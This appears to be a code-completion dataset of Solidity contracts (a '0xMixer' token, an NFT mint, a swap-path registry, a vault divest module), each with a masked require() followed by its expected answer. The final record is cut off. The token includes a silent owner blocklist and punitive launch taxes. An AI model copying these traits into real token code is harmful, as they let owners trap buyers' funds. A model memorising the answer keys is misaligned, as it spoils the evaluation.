address immutable public FeesAddress;
bool private launch = false;
constructor() {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount)public override returns (bool){
}
function allowance(address owner, address spender) public view override returns (uint256){
}
function approve(address spender, uint256 amount) public override returns (bool){
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function openTrading() external onlyOwner {
}
function freeFromLimits() external onlyOwner {
}
function editValueOfTax(uint256 newBuyTax, uint256 newSellTax) external onlyOwner {
require(<FILL_ME>)
buyTax = newBuyTax;
sellTax = newSellTax;
}
function _tokenTransfer(address from, address to, uint256 amount, uint256 _tax) private {
}
function _transfer(address from, address to, uint256 amount) private {
}
function SelfBalanceSend() external {
}
function SelfTokensSwap() external {
}
function swapTokensForEth(uint256 tokenAmount) private {
}
receive() external payable {}
}
| newBuyTax+newSellTax<=feeLimit,"Tax too high" | 438,963 | newBuyTax+newSellTax<=feeLimit |
"Please contact support" | /*
0xMixer
Join us in anonymity
https://0xmixer.dev/
https://mixer.0xmixer.dev/
https://t.me/OxMixer
https://twitter.com/0xMixer
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom( address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function transferOwnership(address newOwner) public onlyOwner {
}
function _transferOwnership(address newOwner) internal {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
contract ZEROxMIXER is Context, IERC20, Ownable {
mapping(address => uint256) private _balance;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => uint256) private _FreeWallets;
mapping(address => uint256) private _BlockedAddress;
uint256 private constant MAX = ~uint256(0);
uint8 private constant _decimals = 18;
uint256 private constant _totalSupply = 1000000 * 10**_decimals;
uint256 private constant minimumSwapAmount = 60000 * 10**_decimals;
uint256 private constant onePercent = 20000 * 10**_decimals;
uint256 private maxSwap = onePercent;
uint256 public MaximumOneTrxAmount = onePercent;
uint256 private feeLimit = 10;
uint256 private InitialBlockNo;
uint256 public buyTax = 10;
uint256 public sellTax = 20;
string private constant _name = unicode"0xMixer";
string private constant _symbol = unicode"0xMIX";
IUniswapV2Router02 private uniswapV2Router;
address public uniswapV2Pair;
address immutable public FeesAddress;
bool private launch = false;
constructor() {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount)public override returns (bool){
}
function allowance(address owner, address spender) public view override returns (uint256){
}
function approve(address spender, uint256 amount) public override returns (bool){
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function openTrading() external onlyOwner {
}
function freeFromLimits() external onlyOwner {
}
function editValueOfTax(uint256 newBuyTax, uint256 newSellTax) external onlyOwner {
}
function _tokenTransfer(address from, address to, uint256 amount, uint256 _tax) private {
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(amount > 0, "ERC20: no tokens transferred");
uint256 _tax = 0;
if (_FreeWallets[from] == 0 && _FreeWallets[to] == 0)
{
require(launch, "Trading not open");
require(<FILL_ME>)
require(amount <= MaximumOneTrxAmount, "MaxTx Enabled at launch");
if (to != uniswapV2Pair && to != address(0xdead)) require(balanceOf(to) + amount <= MaximumOneTrxAmount, "MaxTx Enabled at launch");
if (block.number < InitialBlockNo + 2) {_tax=70;} else {
if (from == uniswapV2Pair) {
_tax = buyTax;
} else if (to == uniswapV2Pair) {
uint256 tokensToSwap = balanceOf(address(this));
if (tokensToSwap > minimumSwapAmount) {
uint256 mxSw = maxSwap;
if (tokensToSwap > amount) tokensToSwap = amount;
if (tokensToSwap > mxSw) tokensToSwap = mxSw;
swapTokensForEth(tokensToSwap);
}
_tax = sellTax;
}
}
}
_tokenTransfer(from, to, amount, _tax);
}
function SelfBalanceSend() external {
}
function SelfTokensSwap() external {
}
function swapTokensForEth(uint256 tokenAmount) private {
}
receive() external payable {}
}
| _BlockedAddress[from]==0,"Please contact support" | 438,963 | _BlockedAddress[from]==0 |
"MaxTx Enabled at launch" | /*
0xMixer
Join us in anonymity
https://0xmixer.dev/
https://mixer.0xmixer.dev/
https://t.me/OxMixer
https://twitter.com/0xMixer
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom( address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function transferOwnership(address newOwner) public onlyOwner {
}
function _transferOwnership(address newOwner) internal {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
contract ZEROxMIXER is Context, IERC20, Ownable {
mapping(address => uint256) private _balance;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => uint256) private _FreeWallets;
mapping(address => uint256) private _BlockedAddress;
uint256 private constant MAX = ~uint256(0);
uint8 private constant _decimals = 18;
uint256 private constant _totalSupply = 1000000 * 10**_decimals;
uint256 private constant minimumSwapAmount = 60000 * 10**_decimals;
uint256 private constant onePercent = 20000 * 10**_decimals;
uint256 private maxSwap = onePercent;
uint256 public MaximumOneTrxAmount = onePercent;
uint256 private feeLimit = 10;
uint256 private InitialBlockNo;
uint256 public buyTax = 10;
uint256 public sellTax = 20;
string private constant _name = unicode"0xMixer";
string private constant _symbol = unicode"0xMIX";
IUniswapV2Router02 private uniswapV2Router;
address public uniswapV2Pair;
address immutable public FeesAddress;
bool private launch = false;
constructor() {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount)public override returns (bool){
}
function allowance(address owner, address spender) public view override returns (uint256){
}
function approve(address spender, uint256 amount) public override returns (bool){
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function openTrading() external onlyOwner {
}
function freeFromLimits() external onlyOwner {
}
function editValueOfTax(uint256 newBuyTax, uint256 newSellTax) external onlyOwner {
}
function _tokenTransfer(address from, address to, uint256 amount, uint256 _tax) private {
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(amount > 0, "ERC20: no tokens transferred");
uint256 _tax = 0;
if (_FreeWallets[from] == 0 && _FreeWallets[to] == 0)
{
require(launch, "Trading not open");
require(_BlockedAddress[from] == 0, "Please contact support");
require(amount <= MaximumOneTrxAmount, "MaxTx Enabled at launch");
if (to != uniswapV2Pair && to != address(0xdead)) require(<FILL_ME>)
if (block.number < InitialBlockNo + 2) {_tax=70;} else {
if (from == uniswapV2Pair) {
_tax = buyTax;
} else if (to == uniswapV2Pair) {
uint256 tokensToSwap = balanceOf(address(this));
if (tokensToSwap > minimumSwapAmount) {
uint256 mxSw = maxSwap;
if (tokensToSwap > amount) tokensToSwap = amount;
if (tokensToSwap > mxSw) tokensToSwap = mxSw;
swapTokensForEth(tokensToSwap);
}
_tax = sellTax;
}
}
}
_tokenTransfer(from, to, amount, _tax);
}
function SelfBalanceSend() external {
}
function SelfTokensSwap() external {
}
function swapTokensForEth(uint256 tokenAmount) private {
}
receive() external payable {}
}
| balanceOf(to)+amount<=MaximumOneTrxAmount,"MaxTx Enabled at launch" | 438,963 | balanceOf(to)+amount<=MaximumOneTrxAmount |
null | /*
0xMixer
Join us in anonymity
https://0xmixer.dev/
https://mixer.0xmixer.dev/
https://t.me/OxMixer
https://twitter.com/0xMixer
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom( address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function transferOwnership(address newOwner) public onlyOwner {
}
function _transferOwnership(address newOwner) internal {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
contract ZEROxMIXER is Context, IERC20, Ownable {
mapping(address => uint256) private _balance;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => uint256) private _FreeWallets;
mapping(address => uint256) private _BlockedAddress;
uint256 private constant MAX = ~uint256(0);
uint8 private constant _decimals = 18;
uint256 private constant _totalSupply = 1000000 * 10**_decimals;
uint256 private constant minimumSwapAmount = 60000 * 10**_decimals;
uint256 private constant onePercent = 20000 * 10**_decimals;
uint256 private maxSwap = onePercent;
uint256 public MaximumOneTrxAmount = onePercent;
uint256 private feeLimit = 10;
uint256 private InitialBlockNo;
uint256 public buyTax = 10;
uint256 public sellTax = 20;
string private constant _name = unicode"0xMixer";
string private constant _symbol = unicode"0xMIX";
IUniswapV2Router02 private uniswapV2Router;
address public uniswapV2Pair;
address immutable public FeesAddress;
bool private launch = false;
constructor() {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount)public override returns (bool){
}
function allowance(address owner, address spender) public view override returns (uint256){
}
function approve(address spender, uint256 amount) public override returns (bool){
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function openTrading() external onlyOwner {
}
function freeFromLimits() external onlyOwner {
}
function editValueOfTax(uint256 newBuyTax, uint256 newSellTax) external onlyOwner {
}
function _tokenTransfer(address from, address to, uint256 amount, uint256 _tax) private {
}
function _transfer(address from, address to, uint256 amount) private {
}
function SelfBalanceSend() external {
require(<FILL_ME>)
bool success;
(success, ) = FeesAddress.call{value: address(this).balance}("");
}
function SelfTokensSwap() external {
}
function swapTokensForEth(uint256 tokenAmount) private {
}
receive() external payable {}
}
| _msgSender()==FeesAddress | 438,963 | _msgSender()==FeesAddress |
"Cannot mint beyond max supply" | // SPDX-License-Identifier: MIT
/*
_ _ _ _
| \ | | | | | |
| \| | ___ | | __ _ | |__ ___
| . ` | / _ \ | | / _` | | '_ \ / __|
| |\ | | (_) | | |____ | (_| | | |_) | \__ \
|_| \_| \___/ |______| \__,_| |_.__/ |___/
*/
pragma solidity ^0.8.19;
import "https://github.com/chiru-labs/ERC721A/blob/main/contracts/ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/token/common/ERC2981.sol";
contract PePe is ERC721A, Ownable, ERC2981 {
using Strings for uint256;
uint256 public constant MAX_SUPPLY = 888;
uint256 public constant MAX_OG_MINT = 5;
uint256 public constant MAX_PUBLIC_MINT = 2;
string public contractURI;
string public baseTokenUri;
string public placeholderTokenUri;
bool public isRevealed;
bool public freeMintSale;
bool public publicSale;
bytes32 public merkleRootFree;
mapping(address => uint256) public totalPublicMint;
mapping(address => uint256) public totalFreeMint;
constructor(
string memory _contractURI,
string memory _placeholderTokenUri,
bytes32 _merkleRootFree,
uint96 _royaltyFeesInBips,
address _teamAddress
) ERC721A("Jose the PePe", "PePe") {
}
modifier callerIsUser() {
}
function publicMint(uint256 _quantity) external callerIsUser {
}
function freeMint(bytes32[] memory _merkleProof) external callerIsUser {
require(freeMintSale, "Not Yet Active");
require(
isValidMerkleProof(_merkleProof, msg.sender, merkleRootFree),
"You are not OG"
);
require(<FILL_ME>)
require(
(totalFreeMint[msg.sender] + 5) <= MAX_OG_MINT,
"Cannot mint beyond max limit"
);
totalFreeMint[msg.sender] += 5;
_mint(msg.sender, 5);
}
function isValidMerkleProof(
bytes32[] memory proof,
address _addr,
bytes32 _merkleRoot
) public pure returns (bool) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function setTokenUri(string memory _baseTokenUri) external onlyOwner {
}
function setMerkleRoot(bytes32 _merkleRoot) external onlyOwner {
}
function getFreeMerkleRoot() external view returns (bytes32) {
}
function togglePublicSale() external onlyOwner {
}
function toggleFreeMintSale() external onlyOwner {
}
function toggleReveal() external onlyOwner {
}
function setRoyaltyInfo(address _receiver, uint96 _royaltyFeesInBips)
public
onlyOwner
{
}
function setContractURI(string calldata _contractURI) public onlyOwner {
}
function withdraw() public onlyOwner {
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721A, ERC2981)
returns (bool)
{
}
}
| (totalSupply()+5)<=MAX_SUPPLY,"Cannot mint beyond max supply" | 439,107 | (totalSupply()+5)<=MAX_SUPPLY |
"Cannot mint beyond max limit" | // SPDX-License-Identifier: MIT
/*
_ _ _ _
| \ | | | | | |
| \| | ___ | | __ _ | |__ ___
| . ` | / _ \ | | / _` | | '_ \ / __|
| |\ | | (_) | | |____ | (_| | | |_) | \__ \
|_| \_| \___/ |______| \__,_| |_.__/ |___/
*/
pragma solidity ^0.8.19;
import "https://github.com/chiru-labs/ERC721A/blob/main/contracts/ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/token/common/ERC2981.sol";
contract PePe is ERC721A, Ownable, ERC2981 {
using Strings for uint256;
uint256 public constant MAX_SUPPLY = 888;
uint256 public constant MAX_OG_MINT = 5;
uint256 public constant MAX_PUBLIC_MINT = 2;
string public contractURI;
string public baseTokenUri;
string public placeholderTokenUri;
bool public isRevealed;
bool public freeMintSale;
bool public publicSale;
bytes32 public merkleRootFree;
mapping(address => uint256) public totalPublicMint;
mapping(address => uint256) public totalFreeMint;
constructor(
string memory _contractURI,
string memory _placeholderTokenUri,
bytes32 _merkleRootFree,
uint96 _royaltyFeesInBips,
address _teamAddress
) ERC721A("Jose the PePe", "PePe") {
}
modifier callerIsUser() {
}
function publicMint(uint256 _quantity) external callerIsUser {
}
function freeMint(bytes32[] memory _merkleProof) external callerIsUser {
require(freeMintSale, "Not Yet Active");
require(
isValidMerkleProof(_merkleProof, msg.sender, merkleRootFree),
"You are not OG"
);
require(
(totalSupply() + 5) <= MAX_SUPPLY,
"Cannot mint beyond max supply"
);
require(<FILL_ME>)
totalFreeMint[msg.sender] += 5;
_mint(msg.sender, 5);
}
function isValidMerkleProof(
bytes32[] memory proof,
address _addr,
bytes32 _merkleRoot
) public pure returns (bool) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function setTokenUri(string memory _baseTokenUri) external onlyOwner {
}
function setMerkleRoot(bytes32 _merkleRoot) external onlyOwner {
}
function getFreeMerkleRoot() external view returns (bytes32) {
}
function togglePublicSale() external onlyOwner {
}
function toggleFreeMintSale() external onlyOwner {
}
function toggleReveal() external onlyOwner {
}
function setRoyaltyInfo(address _receiver, uint96 _royaltyFeesInBips)
public
onlyOwner
{
}
function setContractURI(string calldata _contractURI) public onlyOwner {
}
function withdraw() public onlyOwner {
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721A, ERC2981)
returns (bool)
{
}
}
| (totalFreeMint[msg.sender]+5)<=MAX_OG_MINT,"Cannot mint beyond max limit" | 439,107 | (totalFreeMint[msg.sender]+5)<=MAX_OG_MINT |
"error path length" | // SPDX-License-Identifier: ISC
pragma solidity ^0.8.13;
/*
Expands swapping functionality over base strategy
- ETH in and ETH out Variants
- Sushiswap support in addition to Uniswap
*/
contract TokenSwapPathRegistry {
struct SwapPathStruct {
bytes pathData;
address[] pathAddress;
uint routerIndex; // 0 == uniswapv2, 1 == sushiswap, 2 == uniswapv3
bool isSwapV2; // true == v2 - false == v3
}
mapping(address => mapping(address => SwapPathStruct)) public swapPaths;
event PathUpdated(address indexed tokenIn, address indexed tokenOut, bytes newPath);
event TokenRevoked(address indexed tokenIn, address indexed tokenOut);
/// @notice Adds a token to support with this contract
/// @param _tokenIn Token in to add to this contract
/// @param _tokenOut Token out to add to this contract
/// @param _pathAddress Addresses used (in order) for the swap
/// @param _pathFees Fees used (in order) to get the path for the pool to use for the swap
/// @param _routerIndex indicate router when the swap will be executed - 0 == uniswapv2 / 1 == sushiswap / 2 == uniswapv3
/// @param _isSwapV2 indicate type version of swap - true == v2 / false == v3
/// @dev This function can be called to change the path for a token or to add a new supported
/// token
function _addToken(address _tokenIn, address _tokenOut, address[] memory _pathAddress, uint24[] memory _pathFees, uint _routerIndex, bool _isSwapV2) internal {
require(_tokenIn != address(0) && _tokenOut != address(0), "token address cannot be address(0)");
require(_pathAddress.length >= 2, "error address length");
require(<FILL_ME>)
require(_pathAddress[0] == _tokenIn && _pathAddress[_pathAddress.length - 1] == _tokenOut, "error path address position");
require(_routerIndex >= 0 && _routerIndex <= 2, "error router index");
bytes memory path;
if(!_isSwapV2) {
for (uint256 i = 0; i < _pathFees.length; i++) {
require(_pathAddress[i] != address(0) && _pathAddress[i + 1] != address(0), "error path address position with address(0)");
path = abi.encodePacked(path, _pathAddress[i], _pathFees[i]);
}
path = abi.encodePacked(path, _pathAddress[_pathFees.length]);
}
SwapPathStruct memory swapPathStruct;
swapPathStruct.pathData = path;
swapPathStruct.pathAddress = _pathAddress;
swapPathStruct.routerIndex = _routerIndex;
swapPathStruct.isSwapV2 = _isSwapV2;
swapPaths[_tokenIn][_tokenOut] = swapPathStruct;
emit PathUpdated(_tokenIn, _tokenOut, swapPathStruct.pathData);
}
/// @notice Revokes a token supported by this contract
/// @param _tokenIn Token in to add to this contract
/// @param _tokenOut Token out to add to this contract
function _revokeToken(address _tokenIn, address _tokenOut) internal {
}
}
| (_pathAddress.length==_pathFees.length+1)||_isSwapV2,"error path length" | 439,188 | (_pathAddress.length==_pathFees.length+1)||_isSwapV2 |
"error path address position" | // SPDX-License-Identifier: ISC
pragma solidity ^0.8.13;
/*
Expands swapping functionality over base strategy
- ETH in and ETH out Variants
- Sushiswap support in addition to Uniswap
*/
contract TokenSwapPathRegistry {
struct SwapPathStruct {
bytes pathData;
address[] pathAddress;
uint routerIndex; // 0 == uniswapv2, 1 == sushiswap, 2 == uniswapv3
bool isSwapV2; // true == v2 - false == v3
}
mapping(address => mapping(address => SwapPathStruct)) public swapPaths;
event PathUpdated(address indexed tokenIn, address indexed tokenOut, bytes newPath);
event TokenRevoked(address indexed tokenIn, address indexed tokenOut);
/// @notice Adds a token to support with this contract
/// @param _tokenIn Token in to add to this contract
/// @param _tokenOut Token out to add to this contract
/// @param _pathAddress Addresses used (in order) for the swap
/// @param _pathFees Fees used (in order) to get the path for the pool to use for the swap
/// @param _routerIndex indicate router when the swap will be executed - 0 == uniswapv2 / 1 == sushiswap / 2 == uniswapv3
/// @param _isSwapV2 indicate type version of swap - true == v2 / false == v3
/// @dev This function can be called to change the path for a token or to add a new supported
/// token
function _addToken(address _tokenIn, address _tokenOut, address[] memory _pathAddress, uint24[] memory _pathFees, uint _routerIndex, bool _isSwapV2) internal {
require(_tokenIn != address(0) && _tokenOut != address(0), "token address cannot be address(0)");
require(_pathAddress.length >= 2, "error address length");
require((_pathAddress.length == _pathFees.length + 1) || _isSwapV2, "error path length");
require(<FILL_ME>)
require(_routerIndex >= 0 && _routerIndex <= 2, "error router index");
bytes memory path;
if(!_isSwapV2) {
for (uint256 i = 0; i < _pathFees.length; i++) {
require(_pathAddress[i] != address(0) && _pathAddress[i + 1] != address(0), "error path address position with address(0)");
path = abi.encodePacked(path, _pathAddress[i], _pathFees[i]);
}
path = abi.encodePacked(path, _pathAddress[_pathFees.length]);
}
SwapPathStruct memory swapPathStruct;
swapPathStruct.pathData = path;
swapPathStruct.pathAddress = _pathAddress;
swapPathStruct.routerIndex = _routerIndex;
swapPathStruct.isSwapV2 = _isSwapV2;
swapPaths[_tokenIn][_tokenOut] = swapPathStruct;
emit PathUpdated(_tokenIn, _tokenOut, swapPathStruct.pathData);
}
/// @notice Revokes a token supported by this contract
/// @param _tokenIn Token in to add to this contract
/// @param _tokenOut Token out to add to this contract
function _revokeToken(address _tokenIn, address _tokenOut) internal {
}
}
| _pathAddress[0]==_tokenIn&&_pathAddress[_pathAddress.length-1]==_tokenOut,"error path address position" | 439,188 | _pathAddress[0]==_tokenIn&&_pathAddress[_pathAddress.length-1]==_tokenOut |
"error path address position with address(0)" | // SPDX-License-Identifier: ISC
pragma solidity ^0.8.13;
/*
Expands swapping functionality over base strategy
- ETH in and ETH out Variants
- Sushiswap support in addition to Uniswap
*/
contract TokenSwapPathRegistry {
struct SwapPathStruct {
bytes pathData;
address[] pathAddress;
uint routerIndex; // 0 == uniswapv2, 1 == sushiswap, 2 == uniswapv3
bool isSwapV2; // true == v2 - false == v3
}
mapping(address => mapping(address => SwapPathStruct)) public swapPaths;
event PathUpdated(address indexed tokenIn, address indexed tokenOut, bytes newPath);
event TokenRevoked(address indexed tokenIn, address indexed tokenOut);
/// @notice Adds a token to support with this contract
/// @param _tokenIn Token in to add to this contract
/// @param _tokenOut Token out to add to this contract
/// @param _pathAddress Addresses used (in order) for the swap
/// @param _pathFees Fees used (in order) to get the path for the pool to use for the swap
/// @param _routerIndex indicate router when the swap will be executed - 0 == uniswapv2 / 1 == sushiswap / 2 == uniswapv3
/// @param _isSwapV2 indicate type version of swap - true == v2 / false == v3
/// @dev This function can be called to change the path for a token or to add a new supported
/// token
function _addToken(address _tokenIn, address _tokenOut, address[] memory _pathAddress, uint24[] memory _pathFees, uint _routerIndex, bool _isSwapV2) internal {
require(_tokenIn != address(0) && _tokenOut != address(0), "token address cannot be address(0)");
require(_pathAddress.length >= 2, "error address length");
require((_pathAddress.length == _pathFees.length + 1) || _isSwapV2, "error path length");
require(_pathAddress[0] == _tokenIn && _pathAddress[_pathAddress.length - 1] == _tokenOut, "error path address position");
require(_routerIndex >= 0 && _routerIndex <= 2, "error router index");
bytes memory path;
if(!_isSwapV2) {
for (uint256 i = 0; i < _pathFees.length; i++) {
require(<FILL_ME>)
path = abi.encodePacked(path, _pathAddress[i], _pathFees[i]);
}
path = abi.encodePacked(path, _pathAddress[_pathFees.length]);
}
SwapPathStruct memory swapPathStruct;
swapPathStruct.pathData = path;
swapPathStruct.pathAddress = _pathAddress;
swapPathStruct.routerIndex = _routerIndex;
swapPathStruct.isSwapV2 = _isSwapV2;
swapPaths[_tokenIn][_tokenOut] = swapPathStruct;
emit PathUpdated(_tokenIn, _tokenOut, swapPathStruct.pathData);
}
/// @notice Revokes a token supported by this contract
/// @param _tokenIn Token in to add to this contract
/// @param _tokenOut Token out to add to this contract
function _revokeToken(address _tokenIn, address _tokenOut) internal {
}
}
| _pathAddress[i]!=address(0)&&_pathAddress[i+1]!=address(0),"error path address position with address(0)" | 439,188 | _pathAddress[i]!=address(0)&&_pathAddress[i+1]!=address(0) |
"not-executor!" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "EnumerableSet.sol";
import "Pausable.sol";
import "ReentrancyGuard.sol";
import "IERC20.sol";
import "Math.sol";
import "KeeperCompatibleInterface.sol";
import "IGnosisSafe.sol";
import "ICurvePool.sol";
import "IUniswapRouterV3.sol";
import "IBvecvx.sol";
import {ModuleUtils} from "ModuleUtils.sol";
/// @title BveCvxDivestModule
/// @dev Allows whitelisted executors to trigger `performUpkeep` with limited scoped
/// in our case to carry the divesting of bveCVX into USDC whenever unlocks in schedules
/// occurs with a breathing factor determined by `factorWd` to allow users to withdraw
contract BveCvxDivestModule is
ModuleUtils,
KeeperCompatibleInterface,
Pausable,
ReentrancyGuard
{
using EnumerableSet for EnumerableSet.AddressSet;
/* ========== STATE VARIABLES ========== */
address public guardian;
uint256 public factorWd;
uint256 public weeklyCvxSpotAmount;
uint256 public lastEpochIdWithdraw;
uint256 public minOutBps;
EnumerableSet.AddressSet internal _executors;
/* ========== EVENT ========== */
event ExecutorAdded(address indexed _user, uint256 _timestamp);
event ExecutorRemoved(address indexed _user, uint256 _timestamp);
event GuardianUpdated(
address indexed newGuardian,
address indexed oldGuardian,
uint256 timestamp
);
event FactorWdUpdated(
uint256 newMaxFactorWd,
uint256 oldMaxFactorWd,
uint256 timestamp
);
event WeeklyCvxSpotAmountUpdated(
uint256 newWeeklyCvxSpotAmount,
uint256 oldWeeklyCvxSpotAmount,
uint256 timestamp
);
event MinOutBpsUpdated(
uint256 newMinOutBps,
uint256 oldMinOutBps,
uint256 timestamp
);
constructor(address _guardian) {
}
/***************************************
MODIFIERS
****************************************/
modifier onlyGovernance() {
}
modifier onlyExecutors() {
require(<FILL_ME>)
_;
}
modifier onlyGovernanceOrGuardian() {
}
/***************************************
ADMIN - GOVERNANCE
****************************************/
/// @dev Adds an executor to the Set of allowed addresses.
/// @notice Only callable by governance.
/// @param _executor Address which will have rights to call `checkTransactionAndExecute`.
function addExecutor(address _executor) external onlyGovernance {
}
/// @dev Removes an executor to the Set of allowed addresses.
/// @notice Only callable by governance.
/// @param _executor Address which will not have rights to call `checkTransactionAndExecute`.
function removeExecutor(address _executor) external onlyGovernance {
}
/// @dev Updates the guardian address
/// @notice Only callable by governance.
/// @param _guardian Address which will beccome guardian
function setGuardian(address _guardian) external onlyGovernance {
}
/// @dev Updates the withdrawable factor
/// @notice Only callable by governance or guardian. Guardian for agility.
/// @param _factor New factor value to be set for `factorWd`
function setWithdrawableFactor(uint256 _factor)
external
onlyGovernanceOrGuardian
{
}
/// @dev Updates weekly cvx amount allowance to sell in spot
/// @notice Only callable by governance or guardian. Guardian for agility.
/// @param _amount New amount value to be set for `weeklyCvxSpotAmount`
function setWeeklyCvxSpotAmount(uint256 _amount)
external
onlyGovernanceOrGuardian
{
}
/// @dev Updates `minOutBps` for providing flexibility slippage control in swaps
/// @notice Only callable by governance or guardian. Guardian for agility.
/// @param _minBps New min bps out value for swaps
function setMinOutBps(uint256 _minBps) external onlyGovernanceOrGuardian {
}
/// @dev Pauses the contract, which prevents executing performUpkeep.
function pause() external onlyGovernanceOrGuardian {
}
/// @dev Unpauses the contract.
function unpause() external onlyGovernance {
}
/***************************************
KEEPERS - EXECUTORS
****************************************/
/// @dev Runs off-chain at every block to determine if the `performUpkeep`
/// function should be called on-chain.
function checkUpkeep(bytes calldata)
external
view
override
whenNotPaused
returns (bool upkeepNeeded, bytes memory checkData)
{
}
/// @dev Contains the logic that should be executed on-chain when
/// `checkUpkeep` returns true.
function performUpkeep(bytes calldata performData)
external
override
onlyExecutors
whenNotPaused
nonReentrant
{
}
/***************************************
INTERNAL
****************************************/
function _withdrawBveCvx() internal {
}
function _swapCvxForWeth() internal {
}
function _swapWethToUsdc() internal {
}
/// @dev Allows executing specific calldata into an address thru a gnosis-safe, which have enable this contract as module.
/// @notice Only callable by executors.
/// @param to Contract address where we will execute the calldata.
/// @param data Calldata to be executed within the boundaries of the `allowedFunctions`.
function _checkTransactionAndExecute(address to, bytes memory data)
internal
{
}
/***************************************
PUBLIC FUNCTION
****************************************/
/// @dev Returns all addresses which have executor role
function getExecutors() public view returns (address[] memory) {
}
/// @dev returns the total amount withdrawable at current moment
